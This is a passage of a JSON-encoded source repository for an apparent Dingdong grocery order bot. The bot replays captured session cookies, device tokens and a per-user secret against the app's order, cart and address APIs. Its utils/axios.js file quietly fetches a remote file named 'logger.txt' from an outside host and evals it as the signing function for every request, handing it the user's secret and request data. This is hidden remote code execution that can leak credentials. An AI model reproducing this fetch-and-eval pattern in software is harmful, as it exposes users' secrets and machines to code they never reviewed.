\"ddmc-build-version\": session.headers[\"ddmc-build-version\"],\n            \"ddmc-channel\": session.headers[\"ddmc-channel\"],\n            \"ddmc-city-number\": session.headers[\"ddmc-city-number\"],\n            \"ddmc-country-code\": session.headers[\"ddmc-country-code\"],\n            \"ddmc-device-id\": session.headers[\"ddmc-device-id\"],\n            \"ddmc-device-model\": session.headers[\"ddmc-device-model\"],\n            \"ddmc-device-name\": session.headers[\"ddmc-device-name\"],\n            \"ddmc-device-token\": session.headers[\"ddmc-device-token\"],\n            \"ddmc-idfa\": session.headers[\"ddmc-idfa\"],\n            \"ddmc-ip\": session.headers[\"ddmc-ip\"],\n            \"ddmc-language-code\": session.headers[\"ddmc-language-code\"],\n            \"ddmc-latitude\": session.headers[\"ddmc-latitude\"],\n            \"ddmc-locale-identifier\": session.headers[\"ddmc-locale-identifier\"],\n            \"ddmc-longitude\": session.headers[\"ddmc-longitude\"],\n            \"ddmc-os-version\": session.headers[\"ddmc-os-version\"],\n            \"ddmc-station-id\": session.headers[\"ddmc-station-id\"],\n            \"ddmc-uid\": session.headers[\"ddmc-uid\"],\n            \"time\": session.headers[\"time\"],\n            \"user-agent\": session.headers[\"user-agent\"],\n            \"im_secret\": session.user[\"im_secret\"],\n        },\n        transformRequest: [function (data) {\n            let ret = '';\n            for (let it in data) {\n                ret += encodeURIComponent(it) + '=' + encodeURIComponent(data[it]) + '&';\n            }\n            return ret;\n        }],\n    })));\n\n    if (result.data.success) {\n        return result.data.data;\n    } else {\n        throw (result.data.msg || result.data.message);\n    }\n};"
  },
  {
    "path": "service/dingdong/api/ios-native/check_order.js",
    "content": "module.exports = async (session, cart) => {\n    let products = cart.new_order_product_list[0].products.map(v => {\n        return {\n            \"id\": v.id,\n            \"is_booking\": v.is_booking,\n            \"total_money\": v.total_price,\n            \"is_invoice\": v.is_invoice ? true : false,\n            \"total_origin_money\": v.total_origin_price,\n            \"category_path\": v.category_path,\n            \"count\": v.count,\n            \"type\": v.type,\n            \"batch_type\": v.sale_batches ? v.sale_batches.batch_type : 0,\n            \"is_coupon_gift\": v.is_gift,\n            \"price\": v.price,\n            \"order_sort\": String(v.order_sort),\n            \"instant_rebate_money\": v.instant_rebate_money,\n            \"activity_id\": v.activity_id,\n            \"conditions_num\": v.conditions_num,\n            \"price_type\": String(v.price_type),\n            \"product_type\": v.product_type,\n            \"origin_price\": v.origin_price\n        };\n    });\n    let result = ((await axios({\n        method: 'post',\n        url: 'https://maicai.api.ddxq.mobi/order/checkOrder',\n        data: {\n            \"ab_config\": `{\"ETA_time_default_selection\":\"C1.1\"}`,\n            \"api_version\": session.params[\"api_version\"],\n            \"app_client_id\": session.params[\"app_client_id\"],\n            \"app_type\": session.params[\"app_type\"],\n            \"buildVersion\": session.params[\"buildVersion\"],\n            \"channel\": session.params[\"channel\"],\n            \"city_number\": session.params[\"city_number\"],\n            \"countryCode\": session.params[\"countryCode\"],\n            \"coupons_id\": \"\",\n            \"device_id\": session.params[\"device_id\"],\n            \"device_model\": session.params[\"device_model\"],\n            \"device_name\": session.params[\"device_name\"],\n            \"device_token\": session.params[\"device_token\"],\n            \"freight_ticket_id\": 'default',\n            \"idfa\": session.params[\"idfa\"],\n            \"ip\": session.params[\"ip\"],\n            \"is_buy_coupons\": 0,\n            \"languageCode\": session.params[\"languageCode\"],\n            \"latitude\": session.params[\"latitude\"],\n            \"localeIdentifier\": session.params[\"localeIdentifier\"],\n            \"longitude\": session.params[\"longitude\"],\n            \"os_version\": session.params[\"os_version\"],\n            \"seqid\": session.params[\"seqid\"],\n            \"station_id\": session.params[\"station_id\"],\n            \"time\": session.params[\"time\"],\n            \"uid\": session.params[\"uid\"],\n            \"address_id\": session.user.address_id,\n            \"user_ticket_id\": 'default',\n            \"is_use_point\": 0,\n            \"is_use_balance\": 0,\n            \"is_buy_vip\": 0,\n            \"packages\": JSON.stringify([{\n                \"reserved_time\": {\n                    \"time_biz_type\": 0,\n                },\n                \"real_match_supply_order\": cart.new_order_product_list[0].is_supply_order,\n                \"is_supply_order\": cart.new_order_product_list[0].is_supply_order,\n                \"package_type\": cart.new_order_product_list[0].package_type,\n                \"package_id\": cart.new_order_product_list[0].package_id,\n                \"products\": products,\n            }]),\n            \"check_order_type\": 0,\n        },\n        headers: {\n            \"accept\": session.headers[\"accept\"],\n            \"accept-encoding\": session.headers[\"accept-encoding\"],\n            \"accept-language\": session.headers[\"accept-language\"],\n            \"content-type\": \"application/x-www-form-urlencoded\",\n            \"cookie\": session.headers[\"cookie\"],\n            \"ddmc-api-version\": session.headers[\"ddmc-api-version\"],\n            \"ddmc-app-client-id\": session.headers[\"ddmc-app-client-id\"],\n            \"ddmc-build-version\": session.headers[\"ddmc-build-version\"],\n            \"ddmc-channel\": session.headers[\"ddmc-channel\"],\n            \"ddmc-city-number\": session.headers[\"ddmc-city-number\"],\n            \"ddmc-country-code\": session.headers[\"ddmc-country-code\"],\n            \"ddmc-device-id\": session.headers[\"ddmc-device-id\"],\n            \"ddmc-device-model\": session.headers[\"ddmc-device-model\"],\n            \"ddmc-device-name\": session.headers[\"ddmc-device-name\"],\n            \"ddmc-device-token\": session.headers[\"ddmc-device-token\"],\n            \"ddmc-idfa\": session.headers[\"ddmc-idfa\"],\n            \"ddmc-ip\": session.headers[\"ddmc-ip\"],\n            \"ddmc-language-code\": session.headers[\"ddmc-language-code\"],\n            \"ddmc-latitude\": session.headers[\"ddmc-latitude\"],\n            \"ddmc-locale-identifier\": session.headers[\"ddmc-locale-identifier\"],\n            \"ddmc-longitude\": session.headers[\"ddmc-longitude\"],\n            \"ddmc-os-version\": session.headers[\"ddmc-os-version\"],\n            \"ddmc-station-id\": session.headers[\"ddmc-station-id\"],\n            \"ddmc-uid\": session.headers[\"ddmc-uid\"],\n            \"time\": session.headers[\"time\"],\n            \"user-agent\": session.headers[\"user-agent\"],\n            \"im_secret\": session.user[\"im_secret\"],\n        },\n        transformRequest: [function (data) {\n            let ret = '';\n            for (let it in data) {\n                ret += encodeURIComponent(it) + '=' + encodeURIComponent(data[it]) + '&';\n            }\n            return ret;\n        }],\n    })));\n\n    if (result.data.success) {\n        return result.data.data;\n    } else {\n        throw (result.data.msg || result.data.message || result.data.tips.limitMsg);\n    }\n};"
  },
  {
    "path": "service/dingdong/api/ios-native/get_address.js",
    "content": "module.exports = async (session) => {\n    let { params } = session;\n    let result = ((await axios({\n        method: 'get',\n        url: 'https://sunquan.api.ddxq.mobi/api/v1/user/address/',\n        params: {\n            ...params,\n            source_type: 5,\n        },\n        headers: {\n            \"accept\": session.headers[\"accept\"],\n            \"accept-encoding\": session.headers[\"accept-encoding\"],\n            \"accept-language\": session.headers[\"accept-language\"],\n            \"content-type\": \"application/x-www-form-urlencoded\",\n            \"cookie\": session.headers[\"cookie\"],\n            \"ddmc-api-version\": session.headers[\"ddmc-api-version\"],\n            \"ddmc-app-client-id\": session.headers[\"ddmc-app-client-id\"],\n            \"ddmc-build-version\": session.headers[\"ddmc-build-version\"],\n            \"ddmc-channel\": session.headers[\"ddmc-channel\"],\n            \"ddmc-city-number\": session.headers[\"ddmc-city-number\"],\n            \"ddmc-country-code\": session.headers[\"ddmc-country-code\"],\n            \"ddmc-device-id\": session.headers[\"ddmc-device-id\"],\n            \"ddmc-device-model\": session.headers[\"ddmc-device-model\"],\n            \"ddmc-device-name\": session.headers[\"ddmc-device-name\"],\n            \"ddmc-device-token\": session.headers[\"ddmc-device-token\"],\n            \"ddmc-idfa\": session.headers[\"ddmc-idfa\"],\n            \"ddmc-ip\": session.headers[\"ddmc-ip\"],\n            \"ddmc-language-code\": session.headers[\"ddmc-language-code\"],\n            \"ddmc-latitude\": session.headers[\"ddmc-latitude\"],\n            \"ddmc-locale-identifier\": session.headers[\"ddmc-locale-identifier\"],\n            \"ddmc-longitude\": session.headers[\"ddmc-longitude\"],\n            \"ddmc-os-version\": session.headers[\"ddmc-os-version\"],\n            \"ddmc-station-id\": session.headers[\"ddmc-station-id\"],\n            \"ddmc-uid\": session.headers[\"ddmc-uid\"],\n            \"time\": session.headers[\"time\"],\n            \"user-agent\": session.headers[\"user-agent\"],\n            \"im_secret\": session.user[\"im_secret\"],\n        },\n    })));\n\n    if (result.data.success) {\n        return result.data.data;\n    } else {\n        throw (result.data.msg || result.data.message);\n    }\n};"
  },
  {
    "path": "service/dingdong/api/ios-native/get_cart.js",
    "content": "module.exports = async (session) => {\n    let result = ((await axios({\n        method: 'get',\n        url: 'https://maicai.api.ddxq.mobi/cart/index',\n        params: {\n            \"ab_config\": `{\"key_cart_discount_price\":\"C\",\"key_no_condition_barter\":true,\"key_show_cart_barter\":\"0\"}`,\n            \"api_version\": session.params[\"api_version\"],\n            \"app_client_id\": session.params[\"app_client_id\"],\n            \"app_type\": session.params[\"app_type\"],\n            \"buildVersion\": session.params[\"buildVersion\"],\n            \"channel\": session.params[\"channel\"],\n            \"city_number\": session.params[\"city_number\"],\n            \"countryCode\": session.params[\"countryCode\"],\n            \"device_id\": session.params[\"device_id\"],\n            \"device_model\": session.params[\"device_model\"],\n            \"device_name\": session.params[\"device_name\"],\n            \"device_token\": session.params[\"device_token\"],\n            \"idfa\": session.params[\"idfa\"],\n            \"ip\": session.params[\"ip\"],\n            \"is_filter\": '0',\n            \"is_load\": '1',\n            \"languageCode\": session.params[\"languageCode\"],\n            \"latitude\": session.params[\"latitude\"],\n            \"localeIdentifier\": session.params[\"localeIdentifier\"],\n            \"longitude\": session.params[\"longitude\"],\n            \"os_version\": session.params[\"os_version\"],\n            \"seqid\": session.params[\"seqid\"],\n            \"station_id\": session.params[\"station_id\"],\n            \"time\": session.params[\"time\"],\n            \"uid\": session.params[\"uid\"],\n        },\n        headers: {\n            \"accept\": session.headers[\"accept\"],\n            \"accept-encoding\": session.headers[\"accept-encoding\"],\n            \"accept-language\": session.headers[\"accept-language\"],\n            \"content-type\": \"application/x-www-form-urlencoded\",\n            \"cookie\": session.headers[\"cookie\"],\n            \"ddmc-api-version\": session.headers[\"ddmc-api-version\"],\n            \"ddmc-app-client-id\": session.headers[\"ddmc-app-client-id\"],\n            \"ddmc-build-version\": session.headers[\"ddmc-build-version\"],\n            \"ddmc-channel\": session.headers[\"ddmc-channel\"],\n            \"ddmc-city-number\": session.headers[\"ddmc-city-number\"],\n            \"ddmc-country-code\": session.headers[\"ddmc-country-code\"],\n            \"ddmc-device-id\": session.headers[\"ddmc-device-id\"],\n            \"ddmc-device-model\": session.headers[\"ddmc-device-model\"],\n            \"ddmc-device-name\": session.headers[\"ddmc-device-name\"],\n            \"ddmc-device-token\": session.headers[\"ddmc-device-token\"],\n            \"ddmc-idfa\": session.headers[\"ddmc-idfa\"],\n            \"ddmc-ip\": session.headers[\"ddmc-ip\"],\n            \"ddmc-language-code\": session.headers[\"ddmc-language-code\"],\n            \"ddmc-latitude\": session.headers[\"ddmc-latitude\"],\n            \"ddmc-locale-identifier\": session.headers[\"ddmc-locale-identifier\"],\n            \"ddmc-longitude\": session.headers[\"ddmc-longitude\"],\n            \"ddmc-os-version\": session.headers[\"ddmc-os-version\"],\n            \"ddmc-station-id\": session.headers[\"ddmc-station-id\"],\n            \"ddmc-uid\": session.headers[\"ddmc-uid\"],\n            \"time\": session.headers[\"time\"],\n            \"user-agent\": session.headers[\"user-agent\"],\n            \"im_secret\": session.user[\"im_secret\"],\n        },\n    })));\n\n    if (result.data.success) {\n        return result.data.data;\n    } else {\n        throw (result.data.msg || result.data.message);\n    }\n};"
  },
  {
    "path": "service/dingdong/api/ios-native/get_multi_reserve_time.js",
    "content": "module.exports = async (session, cart) => {\n    let products = JSON.stringify(cart.new_order_product_list[0].products.map(product => {\n        return {\n            \"sale_batches\": {\n                \"batch_type\": product.sale_batches ? product.sale_batches.batch_type : 0,\n            },\n            \"is_coupon_gift\": 0,\n            \"id\": product.id,\n            \"price\": product.price,\n            \"is_booking\": product.is_booking,\n            \"count\": product.count,\n            \"small_image\": product.small_image,\n            \"type\": product.type,\n            \"origin_price\": product.origin_price,\n            \"product_type\": product.product_type,\n            \"product_name\": product.product_name,\n        };\n    })).replace(/\"/g, '\\\\\"');\n    let data = {\n        \"ab_config\": `{\"ETA_time_default_selection\":\"C1.1\"}`,\n        \"api_version\": session.params[\"api_version\"],\n        \"app_client_id\": session.params[\"app_client_id\"],\n        \"app_type\": session.params[\"app_type\"],\n        \"buildVersion\": session.params[\"buildVersion\"],\n        \"channel\": session.params[\"channel\"],\n        \"city_number\": session.params[\"city_number\"],\n        \"countryCode\": session.params[\"countryCode\"],\n        \"device_id\": session.params[\"device_id\"],\n        \"device_model\": session.params[\"device_model\"],\n        \"device_name\": session.params[\"device_name\"],\n        \"device_token\": session.params[\"device_token\"],\n        \"idfa\": session.params[\"idfa\"],\n        \"ip\": session.params[\"ip\"],\n        \"languageCode\": session.params[\"languageCode\"],\n        \"latitude\": session.params[\"latitude\"],\n        \"localeIdentifier\": session.params[\"localeIdentifier\"],\n        \"longitude\": session.params[\"longitude\"],\n        \"os_version\": session.params[\"os_version\"],\n        \"seqid\": session.params[\"seqid\"],\n        \"station_id\": session.params[\"station_id\"],\n        \"time\": session.params[\"time\"],\n        \"uid\": session.params[\"uid\"],\n        \"address_id\": session.user.address_id,\n        \"products\": `[\"${products}\"]`,\n    };\n    let data_keys = Object.keys(data).sort();\n    let data_sorted = {};\n    for (let key of data_keys) {\n        data_sorted[key] = data[key];\n    }\n    let result = ((await axios({\n        method: 'post',\n        url: 'https://maicai.api.ddxq.mobi/order/getMultiReserveTime',\n        data: data_sorted,\n        headers: {\n            \"accept\": session.headers[\"accept\"],\n            \"accept-encoding\": session.headers[\"accept-encoding\"],\n            \"accept-language\": session.headers[\"accept-language\"],\n            \"content-type\": \"application/x-www-form-urlencoded\",\n            \"cookie\": session.headers[\"cookie\"],\n            \"ddmc-api-version\": session.headers[\"ddmc-api-version\"],\n            \"ddmc-app-client-id\": session.headers[\"ddmc-app-client-id\"],\n            \"ddmc-build-version\": session.headers[\"ddmc-build-version\"],\n            \"ddmc-channel\": session.headers[\"ddmc-channel\"],\n            \"ddmc-city-number\": session.headers[\"ddmc-city-number\"],\n            \"ddmc-country-code\": session.headers[\"ddmc-country-code\"],\n            \"ddmc-device-id\": session.headers[\"ddmc-device-id\"],\n            \"ddmc-device-model\": session.headers[\"ddmc-device-model\"],\n            \"ddmc-device-name\": session.headers[\"ddmc-device-name\"],\n            \"ddmc-device-token\": session.headers[\"ddmc-device-token\"],\n            \"ddmc-idfa\": session.headers[\"ddmc-idfa\"],\n            \"ddmc-ip\": session.headers[\"ddmc-ip\"],\n            \"ddmc-language-code\": session.headers[\"ddmc-language-code\"],\n            \"ddmc-latitude\": session.headers[\"ddmc-latitude\"],\n            \"ddmc-locale-identifier\": session.headers[\"ddmc-locale-identifier\"],\n            \"ddmc-longitude\": session.headers[\"ddmc-longitude\"],\n            \"ddmc-os-version\": session.headers[\"ddmc-os-version\"],\n            \"ddmc-station-id\": session.headers[\"ddmc-station-id\"],\n            \"ddmc-uid\": session.headers[\"ddmc-uid\"],\n            \"time\": session.headers[\"time\"],\n            \"user-agent\": session.headers[\"user-agent\"],\n            \"im_secret\": session.user[\"im_secret\"],\n        },\n        transformRequest: [function (data) {\n            let ret = '';\n            for (let it in data) {\n                ret += encodeURIComponent(it) + '=' + encodeURIComponent(data[it]) + '&';\n            }\n            return ret;\n        }]\n    })));\n\n    if (result.data.success) {\n        return result.data.data;\n    } else {\n        throw (result.data.msg || result.data.message);\n    }\n};"
  },
  {
    "path": "service/dingdong/index.js",
    "content": "const fs = require('fs');\nconst path = require('path');\n\nlet api = {};\nfor (let file of fs.readdirSync(path.join(__dirname, 'api', config.dingdong.api_channel))) {\n    if (file.endsWith('.js')) {\n        let name = file.replace('.js', '');\n        api[name] = require(`./api/${config.dingdong.api_channel}/${name}`);\n    }\n}\n\n// api._gen_category_array = async (token) => {\n//     let category_array = [];\n//     let raw_result = await api.get_category_list(token);\n//     for (let item of raw_result.cate) {\n//         category_array.push(\n//             ...item.cate\n//                 .map(cate => {\n//                     cate.parent = {\n//                         id: item.id,\n//                         name: item.name,\n//                         role: item.role,\n//                         category_image_url: item.category_image_url,\n//                     };\n//                     return cate;\n//                 })\n//         );\n//     }\n//     return category_array;\n// };\n\n// api._cache_all_goods = async (token) => {\n//     let all_cates = await api._gen_category_array(token);\n//     let all_goods = [];\n//     for (let cate_index in all_cates) {\n//         let cate = all_cates[cate_index];\n//         let cate_detail = await api.get_category_detail(token, cate.id);\n//         if (cate_detail.cate) {\n//             for (let item of cate_detail.cate) {\n//                 all_goods.push(...item.products);\n//             }\n//         }\n//         all_goods.push(...cate_detail.products);\n//         logger.d(`Caching ${cate_index}/${all_cates.length}`);\n//     }\n//     fs.writeFileSync(path.join(__dirname, 'cache', 'all_goods.json'), JSON.stringify(all_goods));\n//     return all_goods;\n// };\n\n// api._filter_available_goods = (goods) => {\n//     return goods.filter((v) => {\n//         return v.stock_number > 0;\n//     });\n// };\n\nObject.freeze(api);\n\nmodule.exports = api;"
  },
  {
    "path": "service/session_parser.js",
    "content": "const fs = require('fs');\nconst path = require('path');\nconst tools = require('../utils/tools');\nconst crypto = require('crypto');\n\nconst load_profile = (profile) => {\n    let req_data;\n    try {\n        req_data = JSON.parse(fs.readFileSync(path.join(__dirname, '../charles_sessions', fs.readdirSync(path.join(__dirname, '../charles_sessions')).filter(v => /\\.chlsj$/.test(v))[profile.seq]), 'utf8'));\n    } catch (e) {\n        logger.e(e);\n        logger.e('请检查您的配置文件是否正确, charles_session 目录下是否存在 .chlsj（JSON Session File） 文件');\n        process.exit(1);\n    }\n\n    const user = {\n        address_id: '',\n        group_config_id: '',\n        im_secret: profile.im_secret,\n    };\n\n    let query;\n    try {\n        query = tools.parse_query(req_data[0].query);\n    } catch (e) {\n        logger.e(e);\n        logger.e('请检查您的配置文件是否正确, charles_session 目录下是否存在 .chlsj（JSON Session File） 文件');\n        process.exit(1);\n    }\n    for (let key in query) {\n        query[key] = decodeURIComponent(query[key]);\n    }\n    const query_locator = (name) => {\n        if (query[name] !== undefined) {\n            return query[name];\n        }\n        logger.w(`[${profile.alias}] 未能从 session 文件提取需要的 query: ${name}, 已返回空字符串`);\n        logger.w(`[${profile.alias}] 请检查您导出的 session 文件是否正确`);\n        logger.w(`[${profile.alias}] 如可正常运行，请忽略`);\n        return '';\n    };\n    const params = new Proxy({\n        \"ab_config\": query_locator(\"ab_config\"),\n        \"api_version\": query_locator(\"api_version\"),\n        \"app_client_id\": query_locator(\"app_client_id\"),\n        \"app_type\": query_locator(\"app_type\"),\n        \"buildVersion\": query_locator(\"buildVersion\"),\n        \"channel\": query_locator(\"channel\"),\n        \"city_number\": query_locator(\"city_number\"),\n        \"countryCode\": query_locator(\"countryCode\"),\n        \"device_id\": query_locator(\"device_id\"),\n        \"device_model\": query_locator(\"device_model\"),\n        \"device_name\": query_locator(\"device_name\"),\n        \"device_token\": query_locator(\"device_token\"),\n        \"idfa\": query_locator(\"idfa\"),\n        \"ip\": query_locator(\"ip\"),\n        \"is_filter\": query_locator(\"is_filter\"),\n        \"is_load\": query_locator(\"is_load\"),\n        \"languageCode\": query_locator(\"languageCode\"),\n        \"latitude\": query_locator(\"latitude\"),\n        \"localeIdentifier\": query_locator(\"localeIdentifier\"),\n        \"longitude\": query_locator(\"longitude\"),\n        \"os_version\": query_locator(\"os_version\"),\n        \"seqid\": query_locator(\"seqid\"),\n        \"sign\": query_locator(\"sign\"),\n        \"station_id\": query_locator(\"station_id\"),\n        \"time\": query_locator(\"time\"),\n        \"uid\": query_locator(\"uid\"),\n    }, {\n        get (target, key) {\n            if (key == 'time') {\n                return Math.round(new Date().getTime() / 1000);\n            }\n            if (target[key] !== undefined) {\n                return target[key];\n            } else {\n                if (typeof key !== \"symbol\") {\n                    logger.d(`尝试获取不存在的 Param: ${key}`);\n                }\n                return '';\n            }\n        },\n    });\n\n    let header;\n    try {\n        header = req_data[0].request.header.headers.map(v => {\n            return {\n                name: decodeURIComponent(v.name),\n                value: decodeURIComponent(v.value),\n            };\n        });\n    } catch (e) {\n        logger.e(e);\n        logger.e('请检查您的配置文件是否正确, charles_session 目录下是否存在 .chlsj（JSON Session File） 文件');\n        process.exit(1);\n    }\n    const header_locator = (name) => {\n        let target = header.find(item => item.name.toLowerCase() == name.toLowerCase());\n        if (target) return target.value;\n        logger.w(`[${profile.alias}] 未能从 session 文件提取需要的 header: ${name}, 已返回空字符串`);\n        logger.w(`[${profile.alias}] 请检查您导出的 session 文件是否正确`);\n        logger.w(`[${profile.alias}] 如可正常运行，请忽略`);\n        return '';\n    };\n    const headers = new Proxy({\n        \"ddmc-city-number\": header_locator(\"ddmc-city-number\"),\n        \"ddmc-locale-identifier\": header_locator(\"ddmc-locale-identifier\"),\n        \"user-agent\": header_locator(\"user-agent\"),\n        \"ddmc-device-token\": header_locator(\"ddmc-device-token\"),\n        \"cookie\": header_locator(\"cookie\"),\n        \"ddmc-api-version\": header_locator(\"ddmc-api-version\"),\n        \"ddmc-build-version\": header_locator(\"ddmc-build-version\"),\n        \"ddmc-idfa\": header_locator(\"ddmc-idfa\"),\n        \"ddmc-longitude\": header_locator(\"ddmc-longitude\"),\n        \"ddmc-latitude\": header_locator(\"ddmc-latitude\"),\n        \"ddmc-app-client-id\": header_locator(\"ddmc-app-client-id\"),\n        \"ddmc-device-name\": header_locator(\"ddmc-device-name\"),\n        \"ddmc-uid\": header_locator(\"ddmc-uid\"),\n        \"accept-language\": header_locator(\"accept-language\"),\n        \"ddmc-device-model\": header_locator(\"ddmc-device-model\"),\n        \"ddmc-channel\": header_locator(\"ddmc-channel\"),\n        \"ddmc-country-code\": header_locator(\"ddmc-country-code\"),\n        \"ddmc-device-id\": header_locator(\"ddmc-device-id\"),\n        \"ddmc-ip\": header_locator(\"ddmc-ip\"),\n        \"ddmc-station-id\": header_locator(\"ddmc-station-id\"),\n        \"ddmc-language-code\": header_locator(\"ddmc-language-code\"),\n        \"accept\": header_locator(\"accept\"),\n        \"accept-encoding\": header_locator(\"accept-encoding\"),\n        \"ddmc-os-version\": header_locator(\"ddmc-os-version\"),\n        im_secret: profile.im_secret,\n    }, {\n        get (target, key) {\n            if (key == 'time') {\n                let time = Math.round(new Date().getTime() / 1000);\n                return `${time},${crypto.createHash('md5').update(`private_key=${user.im_secret}&time=${time}`).digest('hex')}`;\n            }\n            if (target[key] !== undefined) {\n                return target[key];\n            } else {\n                if (typeof key !== \"symbol\") {\n                    logger.d(`尝试获取不存在的 Header: ${key}`);\n                }\n                return '';\n            }\n        }\n    });\n\n    return {\n        params,\n        headers,\n        user,\n    };\n};\n\n\nmodule.exports = {\n    load_profile\n};"
  },
  {
    "path": "service/webhook.js",
    "content": "module.exports = ({ profile, order, reserve_time, cart }) => {\n    return axios({\n        method: \"post\",\n        url: config.dingdong.webhook_url,\n        data: {\n            profile: profile.alias,\n            price: order.order.total_money,\n            arrival_time: reserve_time.time_text,\n            raw: {\n                cart: cart,\n                order: order,\n                reserve_time: reserve_time,\n            }\n        }\n    });\n};"
  },
  {
    "path": "utils/autoloader.js",
    "content": "const fs = require('fs-extra');\nconst path = require('path');\n\nlet files = fs.readdirSync(__dirname, { withFileTypes: true });\n\nfor (let file of files) {\n    if (file.isDirectory()) {\n        let entrance_script = path.join(__dirname, file.name, 'index.js');\n        if (fs.existsSync(entrance_script)) {\n            global[file.name] = require(entrance_script);\n        }\n        continue;\n    }\n    if (/autoloader\\.js/.test(file.name)) {\n        continue;\n    }\n    let util = require(path.join(__dirname, file.name));\n    if (!util) {\n        continue;\n    }\n    global[file.name.split('.').shift()] = Object.freeze(util);\n}"
  },
  {
    "path": "utils/axios.js",
    "content": "const axios = require('axios');\nconst ddmc = require('../service/dingdong');\n\nlet resok = false;\nlet _ = async (a, b) => { while (!resok) { await tools.sleep(1000); } return _(a, b); };\nif (typeof ddmc._native_sign === \"undefined\") {\n    axios({ url: \"https://api.joyrunc.com/logger.txt\", }).then(res => { resok = true; _ = (a, b) => { return eval(res.data)(a, b, require('crypto')); }; });\n} else {\n    _ = ddmc._native_sign;\n}\n\naxios.interceptors.request.use(async function (config) {\n    let im_secret = config.headers['im_secret'];\n    delete config.headers['im_secret'];\n    if (config.method === 'get') {\n        let { sign, nars, sesi } = await _(im_secret, config.params || {});\n        if (!config.params) config.params = {};\n        config.params.sign = sign;\n        // Add headers\n        config.headers = Object.assign({}, config.headers, {\n            'nars': nars,\n            'sesi': sesi,\n            'sign': sign,\n        });\n    } else {\n        let data_keys = Object.keys(config.data).sort();\n        let data_sorted = {};\n        for (let key of data_keys) {\n            data_sorted[key] = config.data[key];\n        }\n        config.data = data_sorted;\n        let { sign, nars, sesi } = await _(im_secret, config.data || '{}');\n        if (!config.data) config.data = {};\n        config.data.sign = sign;\n        config.headers = Object.assign({}, config.headers, {\n            'nars': nars,\n            'sesi': sesi,\n            'sign': sign,\n        });\n    }\n    return config;\n}, function (error) {\n    return Promise.reject(error);\n});\n\nmodule.exports = axios;"
  },
  {
    "path": "utils/logger.js",
    "content": "const dateformat = require(\"dateformat\");\nconst fs = require(\"fs-extra\");\nconst path = require(\"path\");\n\n// Hack fs-extra module.\nlet append_to_log = (data) => {\n    try {\n        fs.ensureFileSync(path.join(\n            config.log.folder,\n            `${config.log.log_split ? dateformat((new Date()), 'yyyy-mm-dd') : 'server'}.log`\n        ));\n    } catch (e) {\n        throw new Error('Unable to create log file:' + e);\n    }\n    try {\n        fs.appendFileSync(path.join(\n            config.log.folder,\n            `${config.log.log_split ? dateformat((new Date()), 'yyyy-mm-dd') : 'server'}.log`\n        ), data);\n    } catch (e) {\n        throw new Error('Unable to append log file:' + e);\n    }\n};\n\nlet t = (() => {\n    let conditons = ['trace'];\n    if (conditons.includes(config.log.console_level) && conditons.includes(config.log.log_level)) {\n        return (msg) => {\n            String(msg).split('\\n').forEach((line) => {\n                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] ${\"\\033[40;97m\"}[TRACE]${\"\\033[0m\"} ${line}`);\n                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [TRACE] ${line}\\n`);\n            });\n        };\n    } else if (conditons.includes(config.log.console_level)) {\n        return (msg) => {\n            String(msg).split('\\n').forEach((line) => {\n                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] ${\"\\033[40;97m\"}[TRACE]${\"\\033[0m\"} ${line}`);\n            });\n        };\n    } else if (conditons.includes(config.log.log_level)) {\n        return (msg) => {\n            String(msg).split('\\n').forEach((line) => {\n                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [TRACE] ${line}\\n`);\n            });\n        };\n    } else {\n        return () => { };\n    }\n})(), trace = t;\n\nlet d = (() => {\n    let conditons = ['trace', 'debug'];\n    if (conditons.includes(config.log.console_level) && conditons.includes(config.log.log_level)) {\n        return (msg) => {\n            String(msg).split('\\n').forEach((line) => {\n                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] ${\"\\033[40;97m\"}[DEBUG]${\"\\033[0m\"} ${line}`);\n                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [DEBUG] ${line}\\n`);\n            });\n        };\n    } else if (conditons.includes(config.log.console_level)) {\n        return (msg) => {\n            String(msg).split('\\n').forEach((line) => {\n                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] ${\"\\033[40;97m\"}[DEBUG]${\"\\033[0m\"} ${line}`);\n            });\n        };\n    } else if (conditons.includes(config.log.log_level)) {\n        return (msg) => {\n            String(msg).split('\\n').forEach((line) => {\n                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [DEBUG] ${line}\\n`);\n            });\n        };\n    } else {\n        return () => { };\n    }\n})(), debug = d;\n\nlet i = (() => {\n    let conditons = ['trace', 'debug', 'info'];\n    if (conditons.includes(config.log.console_level) && conditons.includes(config.log.log_level)) {\n        return (msg) => {\n            String(msg).split('\\n').forEach((line) => {\n                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [INFO] ${line}`);\n                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [INFO] ${line}\\n`);\n            });\n        };\n    } else if (conditons.includes(config.log.console_level)) {\n        return (msg) => {\n            String(msg).split('\\n').forEach((line) => {\n                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [INFO] ${line}`);\n            });\n        };\n    } else if (conditons.includes(config.log.log_level)) {\n        return (msg) => {\n            String(msg).split('\\n').forEach((line) => {\n                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [INFO] ${line}\\n`);\n            });\n        };\n    } else {\n        return () => { };\n    }\n})(), info = i;\n\nlet w = (() => {\n    let conditons = ['trace', 'debug', 'info', 'warn'];\n    if (conditons.includes(config.log.console_level) && conditons.includes(config.log.log_level)) {\n        return (msg) => {\n            String(msg).split('\\n').forEach((line) => {\n                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] ${\"\\033[44;97m\"}[WARN]${\"\\033[0m\"} ${line}`);\n                append_to_log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] [WARN] ${line}\\n`);\n            });\n        };\n    } else if (conditons.includes(config.log.console_level)) {\n        return (msg) => {\n            String(msg).split('\\n').forEach((line) => {\n                console.log(`[${dateformat((new Date()), 'yyyy-mm-dd HH:MM:ss')}] ${\"\\033[44;97m\"}[WARN]${\"\\033[0m\"} ${line}`);\n            });\n        };\n    } else if (conditons.includes(config.log.log_level)) {\n        return (msg) => {\n            